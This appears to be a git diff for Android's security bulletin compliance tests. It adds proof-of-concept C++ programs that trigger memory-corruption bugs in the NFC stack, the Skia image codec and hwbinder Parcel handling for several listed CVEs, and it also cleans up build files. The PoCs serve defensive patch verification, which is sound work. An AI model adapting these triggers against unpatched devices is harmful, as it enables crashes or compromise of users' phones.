+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9344",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
index 9e49090..7b04ffb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9424",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
index 16bfc36..a4c4f0a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
@@ -15,10 +15,6 @@
*
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9428",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
index fa09b34..12c9ca0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
@@ -15,10 +15,6 @@
*
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9466-CVE-2017-9047",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp
index 42f1d5f..97fdf58 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9472",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp
index 438c690..5a4e6fa 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9491",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
index 2e751f4..ba0e08f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9515",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp
index 3f0ed80..c6b3bd9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9527",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
index fbb1a33..d1a4d1d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
@@ -15,10 +15,6 @@
*
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9537",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
index 9da651c..0ac9783 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
@@ -154,8 +154,7 @@
--size;
} else {
INT_PCM outputBuf[kMaxOutBufferSize];
- aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, sizeof(outputBuf),
- 0);
+ aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, kMaxOutBufferSize, 0);
if (valid >= inputSize) {
return;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp
index 935c1d1..d0ebfac 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2018-9539",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/Android.bp
new file mode 100644
index 0000000..0813445
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9584",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/poc.cpp
new file mode 100644
index 0000000..94aa642
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/poc.cpp
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <nfc_int.h>
+
+#define LENGTH 16
+
+char enable_selective_overload = ENABLE_NONE;
+extern tNFC_CB nfc_cb;
+
+static void resp_cback(tNFC_RESPONSE_EVT event, tNFC_RESPONSE *p_data) {
+ (void) event;
+ (void) p_data;
+}
+
+int main() {
+ nfc_cb.p_resp_cback = resp_cback;
+
+ enable_selective_overload = ENABLE_ALL;
+ uint8_t *p_msg = (uint8_t *)malloc(LENGTH);
+ if (!p_msg) {
+ return EXIT_FAILURE;
+ }
+
+ // Set evt_data.set_config.status
+ *p_msg = 0x03;
+ // Set evt_data.set_config.num_param_id
+ *(p_msg + 1) = 255;
+ nfc_ncif_set_config_status(p_msg, LENGTH);
+
+ free(p_msg);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/Android.bp
new file mode 100644
index 0000000..8bbdd4f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9585",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/poc.cpp
new file mode 100644
index 0000000..7227adf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/poc.cpp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <nfc_int.h>
+
+#define LENGTH 16
+
+char enable_selective_overload = ENABLE_NONE;
+extern tNFC_CB nfc_cb;
+
+static void resp_cback(tNFC_RESPONSE_EVT event, tNFC_RESPONSE* p_data) {
+ (void) event;
+ (void) p_data;
+}
+
+int main() {
+ nfc_cb.p_resp_cback = resp_cback;
+
+ enable_selective_overload = ENABLE_ALL;
+ uint8_t *p_msg = (uint8_t *)malloc(LENGTH);
+ if (!p_msg) {
+ return EXIT_FAILURE;
+ }
+ memset(p_msg, 0x01, LENGTH);
+
+ // Set evt_data.tlv_size
+ *(p_msg + 5) = 200;
+ nfc_ncif_proc_get_routing(p_msg, LENGTH);
+
+ free(p_msg);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
new file mode 100644
index 0000000..34d78b0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-1988",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ "skia_deps",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "external/skia/include/codec",
+ "external/skia/include/core",
+ "frameworks/native/libs/nativewindow/include",
+ "frameworks/native/libs/arect/include",
+ ],
+ shared_libs: [
+ "libhwui",
+ ],
+ static_libs: [
+ "libskia",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
new file mode 100644
index 0000000..9ba3c42
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SkAndroidCodec.h"
+#include "SkBitmap.h"
+#include "SkCanvas.h"
+#include "SkData.h"
+#include "SkSurface.h"
+
+#include "../includes/memutils.h"
+#include <fstream>
+#include <iostream>
+
+#define SAMPLE_SIZE 6
+char enable_selective_overload = ENABLE_NONE;
+
+int decode(sk_sp<SkData> bytes, uint8_t sampleSize) {
+ auto codec = SkAndroidCodec::MakeFromData(bytes);
+ if (!codec) {
+ return EXIT_FAILURE;
+ }
+
+ auto size = codec->getSampledDimensions(sampleSize);
+ auto info = SkImageInfo::MakeN32Premul(size);
+ SkBitmap bm;
+ if (!bm.tryAllocPixels(info)) {
+ return EXIT_FAILURE;
+ }
+
+ SkAndroidCodec::AndroidOptions options;
+ options.fSampleSize = sampleSize;
+
+ codec->getAndroidPixels(bm.info(), bm.getPixels(), bm.rowBytes(), &options);
+ return EXIT_SUCCESS;
+}
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream inFile(argv[1]);
+ if (!inFile) {
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.end);
+ size_t size = inFile.tellg();
+ if (size < 1) {
+ inFile.close();
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.beg);
+ uint8_t *data = (uint8_t *)malloc(size);
+ if (!data) {
+ return EXIT_FAILURE;
+ }
+ inFile.read(reinterpret_cast<char *>(data), size);
+ auto bytes = SkData::MakeWithoutCopy(data, size);
+ bytes = SkData::MakeSubset(bytes.get(), 1, size - 1);
+ enable_selective_overload = ENABLE_ALL;
+ int ret = decode(bytes, SAMPLE_SIZE);
+ enable_selective_overload = ENABLE_NONE;
+ inFile.close();
+ free(data);
+ return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
new file mode 100644
index 0000000..59d60f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2011",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libhidlbase",
+ "libcutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
new file mode 100644
index 0000000..1de147c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <hwbinder/Parcel.h>
+
+using namespace android::hardware;
+
+int main() {
+ int32_t numFds = 1;
+ int32_t numInts = 0;
+ android::status_t err = android::NO_ERROR;
+
+ native_handle_t *nativeHandleSend = native_handle_create(numFds, numInts);
+ Parcel *parcel = new Parcel();
+ err = parcel->writeNativeHandleNoDup(nativeHandleSend);
+ if (err != android::NO_ERROR) {
+ return EXIT_FAILURE;
+ }
+ parcel->setDataPosition(0);
+
+ nativeHandleSend->numInts = 1024;
+
+ const native_handle_t *nativeHandleReceive = nullptr;
+ err = parcel->readNativeHandleNoDup(&nativeHandleReceive);
+ if (err == android::NO_ERROR) {
+ native_handle_t *tempHandle = const_cast<native_handle_t *>(nativeHandleReceive);
+ for (numInts = nativeHandleReceive->numFds; numInts < nativeHandleReceive->numInts;
+ ++numInts) {
+ ++tempHandle->data[numInts];
+ }
+ }
+
+ // The fix is to validate the nativeHandle size and return an error. Hence
+ // if control reaches here, the patch is present. Return EXIT_SUCCESS
+ delete parcel;
+ native_handle_delete(nativeHandleSend);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/Android.bp
new file mode 100644
index 0000000..7ffdd65
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2013",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
new file mode 100644
index 0000000..23098ac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <dlfcn.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+char enable_selective_overload = ENABLE_NONE;
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+static void (*real_GKI_freebuf)(void* ptr) = nullptr;
+void *kAllocatedPointers[2];
+int allocatedPointersIndex = -1;
+bool kIsInitialized = false;
+
+void init(void) {
+ real_GKI_freebuf = (void (*)(void*))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void GKI_freebuf(void* ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (ptr == kAllocatedPointers[0] || ptr == kAllocatedPointers[1]) {
+ return;
+ } else {
+ real_GKI_freebuf(ptr);
+ }
+}
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ memset(ptr, 0x0, size);
+ kAllocatedPointers[++allocatedPointersIndex] = ptr;
+ return ptr;
+}
+
+// borrowed from rw_i93.cc
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+
+ RW_T3T_CMD_MAX
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED,
+ RW_T3T_STATE_IDLE,
+ RW_T3T_STATE_COMMAND_PENDING
+};
+
+// borrowed from rw_i93.cc
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+void cback(uint8_t c __attribute__((unused)),
+ tRW_DATA* d __attribute__((unused))) {
+}
+
+int main() {
+
+ enable_selective_overload = ENABLE_ALL;
+ tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN *p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+ p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+ p_data->status = NFC_STATUS_OK;
+
+ p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->rw_substate = RW_T3T_SRO_SST_CHECK_MC_BLK;
+
+ NFC_HDR* p_msg = (p_data->data).p_data;
+ p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+
+ uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+
+ uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+ p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = T3T_MSG_FELICALITE_MC_OFFSET;
+
+ tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ TIMER_LIST_ENT pFirst = { };
+ nfc_cb.quick_timer_queue.p_first = &pFirst;
+
+ rw_cb.p_cback = &cback;
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data->data.p_data);
+ free(p_data);
+
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/Android.bp
new file mode 100644
index 0000000..fe66191
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2019",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ include_dirs: [
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/poc.cpp
new file mode 100644
index 0000000..483b7c4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/poc.cpp
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ce_int.h>
